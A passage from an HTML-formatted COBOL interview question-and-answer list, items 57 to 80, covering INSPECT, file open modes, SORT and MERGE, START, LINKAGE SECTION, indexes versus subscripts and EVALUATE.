<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">57.<strong> 01</strong></span><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">DATA-4</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">PIC</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">X(11).</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">:::</span></strong></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">INSPECT</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">DATA-4</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">CONVERTING</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">&#8220;abcdefghijklmnopqrstuvwxyz&#8221;</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">TO</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;ABCDEFGHIJKLMNOPQRSTUVWXYZ&#8221;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">AFTER</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">INITIAL</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;/&#8221;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">BEFORE</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">INITIAL&#8221;?&#8221;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">What will the contents of </span><tt><strong><span style="font-size: 10pt; color: blue;">DATA-4</span></strong></tt><span style="font-size: 10pt; color: blue; font-family: Arial;"> be after the conversion statement is performed, if before conversion </span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">a) DATA-4 = a/five/?six b) DATA-4 = r/Rexx/RRRr c) DATA-4 = zfour?inspe </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. a) a/FIVE/?six b) r/REXX/RRRR c) zfour?inspe (no change at all)</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">58. What kind of error is trapped by ON SIZE ERROR option?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Fixed-point overflow. Zero raised to the zero power.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Division by 0. Zero raised to a negative number. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A negative number raised to a fractional power. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 7.5pt; font-family: Arial;"> </span><span style="font-size: 10pt; color: blue; font-family: Arial;">59. What is the point of the REPLACING option of a copy statement? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. REPLACING allows for the same copy to be used more than once in the same code by changing the replace value. COPY xxx REPLACING &lt;psuedotext1&gt; BY &lt;psuedotext2&gt;.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">60. When is a scope terminator mandatory? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Scope terminators are mandatory for in-line PERFORMS and EVALUATE statements. For readability, it&#8217;s recommended coding practice to always make scope terminators explicit.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">61. Can you use REDEFINES clause in the FILE SECTION?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. No</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">62. How will you define your record descriptions in the FILE SECTION if you want to use three different record descriptions for the same file?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. FD filename</span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">DATA RECORDS ARE rd01, rd02, rd03.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">01 rd01 PIC X(n).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">01 rd02 PIC X(n).</span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">01 rd03 PIC X(n). </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">63. When will you open a file in the EXTEND mode?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. When an existing file should be appended by adding new records at its end. EXTEND mode opens the file for output, but the file is positioned following the last record on the existing file.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">64. What does a CLOSE WITH LOCK statement do?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The statement closes an opened file and it prevents the file from further being opened by the same program.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">65. Which mode of opening is required when REWRITE is used?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. I-O mode</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">66. Why is it necessary that the file be opened in I-O mode for REWRITE?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Before the REWRITE is performed, the record must be read from the file. Hence REWRITE includes an input operation and an output operation. Therefore, the file must be opened in I-O mode.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">67. Which clause can be used instead of checking for FILE STATUS = 10?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. FILE STATUS 10 is the end of file condition. Hence AT END clause can be used. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">68. What is the format of a simple SORT verb? What kinds of files can be sorted using SORT?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. SORT workfile ON ASC/DESC KEY key1, ASC/DESC KEY key2 &#8230;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">USING inputfile GIVING outputfile</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Only sequential files can be sorted in this way.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">69. What are the different rules of SORT that needs to be considered?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l25 level1 lfo24; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">The input and output files must remain closed because SORT opens them and closes during the operation, The work file must have a SELECT clause. The work file must have sort description SD entry in the FILE SECTION. Input and Output files must have FD entries </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">70. What are INPUT PROCEDURE and OUTPUT PROCEDURE?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Sometimes, it is necessary that the records must be edited before or after the sorting. In such cases,</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">SORT workfile ASC/DESC KEY key1, &#8230;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">INPUT PROCEDURE IS ipproc </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">OUTPUT PROCEDURE is outproc</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Is used. In the INPUT PROCEDURE the input file is opened, records are read and edited and then are released to the sorting operation. Finally the file is closed. RELEASE sortrecname FROM inp-rec.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">In the OUTPUT PROCEDURE, output file is opened, the sorted record is returned to the Output record area and then the record is written. Finally the file is closed. RETURN workfile RECORD into out-rec.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">71. What is the format of a simple MERGE verb? Can INPUT PROCEDURE and OUTPUT PROCEDURE can be specified for MERGE verb?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. MERGE work file ON ASC/DESC KEY key1&#8230;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">USING inputfile1, inputfile2&#8230;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">GIVING outputfile</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">INPUT PROCEDURE cannot be specified. Only OUTPUT PROCEDURE can be specified</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">72. How will you position an indexed file at a specific point so that the subsequent sequential operations on the file can start from this point?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Use START</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">START filename KEY IS EQ/GT/LT.. dataname</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">INVALID KEY &#8230;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">73. What are the access mode requirements of START statement?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Access mode must be SEQUENTIAL or DYNAMIC</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">74. What are the opening mode requirements of START statement?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l28 level1 lfo27; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Files must be opened in the INPUT or I-O mode. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">75.What is the LINKAGE SECTION used for? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The linkage section is used to pass data from one program to another program or to pass data from a PROC to a program. It is part of a called program that &#8216;links&#8217; or maps to data items in the calling program&#8217;s working storage. It is the part of the called program where these share items are defined.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">76. If you were passing a table via linkage, which is preferable &#8211; a subscript or an index? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Wake up &#8211; you haven&#8217;t been paying attention! It&#8217;s not possible to pass an index via linkage. The index is not part of the calling programs working storage. Indexing uses binary displacement. Subscripts use the value of the occurrence.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">77. What is the difference between a subscript and an index in a table definition? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l26 level1 lfo30; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">A subscript is a working storage data definition item, typically a PIC (999) where a value must be moved to the subscript and then increment or decrement it by ADD TO and SUBTRACT FROM statements. An index is a register item that exists outside the program&#8217;s working storage. You SET an index to a value and SET it UP BY value and DOWN BY value. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Subscript refers to the array occurrence while index is the displacement (in no of bytes) from the beginning of the array. An index can only be modified using PERFORM, SEARCH &amp; SET. Need to have index for a table in order to use SEARCH, SEARCH ALL Cobol statements.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">78. What is an in line PERFORM? When would you use it? Anything else to say about it? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l9 level1 lfo33; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">The PERFORM and END-PERFORM statements bracket all COBOL II statements between them. The COBOL equivalent is to PERFORM or PERFORM THRU a paragraph. In line PERFORMs work as long as there are no internal GO TOs, not even to an exit. The in line PERFORM for readability should not exceed a page length &#8211; often it will reference other PERFORM paragraphs. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">When the body of the Perform will not be used in other paragraphs. If the body of the Perform is a generic type of code (used from various other places in the program), it would be better to put the code in a separate para and use PERFORM paraname rather than in-line perform.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">79. What is the use of EVALUATE statement? How do you come out of an EVALUATE statement?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Evaluate is like a case statement and can be used to replace nested Ifs. The difference between EVALUATE and case is that no &#8216;break&#8217; is required for EVALUATE i.e. control comes out of the EVALUATE as soon as one match is made, There is no need of any extra code. EVALUATE can be used in place of the nested IF THEN ELSE statements.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">80. What are the different forms of EVALUATE statement?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. EVALUATE EVALUATE SQLCODE ALSO FILE-STATUS</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">WHEN A=B AND C=D WHEN 100 ALSO &#8216;00&#8242;</span></p>
<p style="margin-left: 1.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Imperative stmt imperative stmt </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">WHEN (D+X)/Y = 4 WHEN -305 ALSO &#8216;32&#8242;</span></p>
